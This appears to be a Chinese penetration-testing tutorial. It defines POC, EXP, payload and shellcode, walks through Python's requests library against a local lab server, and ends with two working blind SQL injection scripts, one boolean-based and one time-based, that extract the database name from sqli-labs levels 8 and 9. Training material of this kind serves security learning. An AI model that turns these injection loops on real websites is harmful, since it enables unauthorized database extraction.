文章目录
Python
一、POC、EXP
POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。
EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。
Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。
Shellcode:简单翻译 ’ shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名。
简述:POC是用来证明漏洞存在的,EXP是用来利用漏洞的;或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。
Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。
Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。
- 总结
想象自己是一个特工,你的目标是监控一个重要的人,有一天你怀疑目标家里的窗子可能没有关,于是你上前推了推,结果推开了,这是一个POC。之后你回去了,开始准备第二天的渗透计划,第二天你通过同样的漏洞渗透进了它家,仔细查看了所有的重要文件,离开时还安装了一个隐蔽的窃听器,这一天你所做的就是一个EXP,你在他家所做的就是不同的Payload,就把窃听器就当作Shellcode。
二、使用Python编写EXP
基础环境Python3,核心模块requests。
1. requests模块
- 概述
requests是使用Apache2 licensed 许可证的HTTP库,用python编写,比urll ib2模块更简洁。
Request支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码。
requests会自动实现持久连接keep-alive。
- 支持HTTP的方法
GET 获取资源
POST 传输实体主体
PUT 传输文件
HEAD 获得响应报文首部
DELETE 删除文件
OPTIONS 查询支持的方法
TRACE 追踪路径
CONNECT 要求用隧道协议连接代理
LINK 建立和资源之间的连接
UNLINK 断开连接关系
- requests使用HTTP方法
res = requests.get()
res = requests.post()
res = requests.put()
res = requests.delete()
res = requests.head()
res = requests.options()
- 参数
GET参数 params
HTTP头部 headers
POST参数 data
文件 files
Cookies cookies
重定向处理 allow_redirects = False/True
超时 timeout
证书验证 verify = False/True
工作流(延迟下载) stream=False/ True
事件挂钩 hooks=dict (response=)
身份验证 auth=
代理 proxies=
- 对象对应的方法
对象 方法
URL .url
text .text
编码 .encoding | .encoding=
响应内容 .content
Json解码器 .json
原始套接字响应 .raw | .raw.read() (需要升启stream=True)
历史响应代码 .history
抛出异常 .raise_for_status()
查看服务器响应头 .headers
查看客户端请求头 .request.headers
查看Cookie .cookies
身份验证 .auth=
更新 .update
解析连接字头 .links []
2. 快速开始
windows 2008为服务器(192.168.40.129)
- 导入requests模块,没有的需要下载
python -m pip install requests
- 基本测试
服务器的get.php页面
<?php
var_dump($_GET);
?>
测试:
# 导入requests模块
>>> import requests
# 发送get请求将响应所得的所有内容放入res现象中
>>> res = requests.get("http://192.168.40.129/PHP/requests/get.php")
# 获取url
>>> res.url
'http://192.168.40.129/PHP/requests/get.php'
# 获取正文
>>> res.text
'array(0) {\n}\n'
# 获取响应码
>>> res.status_code
200
# 获取响应编码
>>> res.encoding
'ISO-8859-1'
# 以二进制方式获取响应正文
>>> res.content
b'array(0) {\n}\n'
# 获取响应头部
>>> res.headers
{'Date': 'Thu, 24 Dec 2020 07:23:33 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'X-Powered-By': 'PHP/5.4.45', 'Content-Length': '13', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'}
3. 相关操作
- 定制头部
重新定义User-Agent
import requests
url = "http://192.168.40.129/PHP/requests/get.php"
header = {"User-Agent":"HELLO"}
res = requests.get(url,headers = header)
print(res.request.headers)
运行结果:
- 超时
服务器的timeout.php页面,设置sleep5秒
<?php
echo "Hello,world!";
sleep(5);
?>
使用python脚本发送get请求,如果3秒内没有得到响应就打印出:Time Out错误:
import requests
url = "http://192.168.40.129/PHP/requests/timeout.php"
try:
res = requests.get(url,timeout = 3)
print(res.text)
except Exception as e:
print("Time Out")
运行结果:
- GET传参
import requests
url = "http://192.168.40.129/PHP/requests/get.php"
getPara = {"name":"hello","password":"123456"}
res = requests.get(url,params = getPara)
print(res.text)
print(res.url)
运行结果:
- POST传参
import requests
url = "http://192.168.40.129/PHP/requests/post.php"
postData = {"name":"hello","password":"123456"}
res = requests.post(url,data=postData)
print(res.text)
运行结果:
- 上传文件
服务器网页:
本地文件:
py代码:
import requests
url = "http://192.168.40.129/PHP/requests/upfiles.php"
# {"文件上传input标签的name":open("本地文件路径","二进制方式")}
upFile = {"upFile":open("test.txt","rb")}
# {"提交input标签的name":"标签的value"}
postData = {"userSubmit":"submit"}
res = requests.post(url,files = upFile,data = postData)
print(res.text)
运行结果:
成功上传到服务器:
- 重定向
301 redirect:代表永久性转移;
302 redirect:代表暂时性转移;
meta fresh:通过网页中的meta指令,在特定时间后重定向到新的网页,如果延迟的时间太短(约5秒之内),会被判断为spam。
测试:
服务器设置index.php:使用302重定向
<?php
echo "This is index.php";
header("Location: ./302.php");
?>
302.php页面
<?php
echo "This is 302.php";
?>
py测试代码:关闭重定向
import requests
url = "http://192.168.40.129/PHP/requests/index.php"
res = requests.get (url = url)
print(res.text)
print(res.history) # 历史响应状态码
res = requests.get(url, allow_redirects=False)
print(res.headers)
print(res.text)
运行结果:
- cookie
import requests
url = "http://192.168.40.129/PHP/requests/getcookie.php"
userCookie = {"name":"hello"}
res = requests.get(url,cookies = userCookie)
print(res.text)
运行结果:
三、简单示例
1. py脚本实现布尔盲注
以sqli-labs第八关为例。利用py脚本获取数据库名。
第八关由于注入 ?id=1' and 1=1 --+
和 ?id=1' and 1=2 --+
页面回显不同(即html正文长度不同),所以存在布尔盲注。
py代码原理:通过循环判断正常访问网页的html正文长度和注入sql语句后获取到的正文长度,当它们相等说明判断正确。
import requests
import string
url = "http://192.168.40.129/PHP/sqli-labs-master/Less-8/"
# 1. 计算正常页面长度
normalTextLen = len(requests.get(url+"?id=1").text)
print("normal Text Length: " + str(normalTextLen))
# 2. 定义数据库名长度
dbNameLen = 0
# 3. 循环判断数据库名长度
while True:
# 拼接注入的sql语句,变量为dbNameLen,+:空格,由于dbNameLen是一个数字我们需要转化为字符
dbNameLen_url = url + "?id=1'+and+length(database())=" + str(dbNameLen) + "--+"
print(dbNameLen_url)
if len(requests.get(dbNameLen_url).text) == normalTextLen:
print("db Name Length: " + str(dbNameLen))
break
if dbNameLen == 30:
print("Error!")
break
dbNameLen += 1
# 4. 定义数据库名
dbName = ""
# 5. 由于上面判断出数据库长,所以我们需要定义从 1 下标开始遍历数据库名
for i in range(1,dbNameLen+1):
# 6. 定义字典:26个小写字母
for a in string.ascii_lowercase:
dbName_url = url + "?id=1'+and+substr(database(),"+ str(i) +",1)='"+ a +"'--+"
print(dbName_url)
if len(requests.get(dbName_url).text) == normalTextLen:
dbName+=a
print(dbName)
break
运行结果:
2. py脚本实现延时注入
以sqli-labs第9关为例。
import requests
import string
url = "http://192.168.40.129/PHP/sqli-labs-master/Less-9/"
# 1. 定义函数用来判断网页请求是否超时,如果没超过3秒返回网页内容;如果超过3秒就返回字符串:timeout
def timeOut(url):
try:
res = requests.get(url,timeout = 3)
return res.text
except Exception as e:
return "timeout"
# 2. 定义数据库名长度
dbNameLen = 1
# 3. 循环判断,如果判断正确页面就延时5秒
while True:
dbNameLen_url = url + "?id=1'+and+if(length(database())="+ str(dbNameLen) + ",sleep(5),1)--+"
print(dbNameLen_url)
if "timeout" in timeOut(dbNameLen_url):
print("db Name Length: " + str(dbNameLen))
break
if dbNameLen == 30:
print("Error")
break
dbNameLen += 1
# 4. 定义数据库名
dbName = ""
# 5. 循环判断数据库名
for i in range(1,dbNameLen+1):
for a in string.ascii_lowercase:
dbName_url = url + "?id=1'+and+if(substr(database(),"+ str(i) +",1)='"+ a +"',sleep(5),1)--+";
print(dbName_url)
if "timeout" in timeOut(dbName_url):
dbName += a
print("db Name: " + dbName)
break
运行结果:
- 补充:sys.argv[ ]
import sys
sys.argv[]
sys.argv[]:是一个从程序外部获取参数的桥梁,但从外部取得的参数可以是多个,所以获得的是一个列表(list),所以才能用 [ ] 提取其中的元素。
sys.argv[0]即第一个元素,也是程序本身;
sys.argv[1]、sys.argv[2]… 才依次是外部给予的参数。
示例1:
import sys
print(sys.argv[0])
运行结果:就是程序本身的路径
示例2:
import sys
print(sys.argv[1])
运行结果:外部给予的参数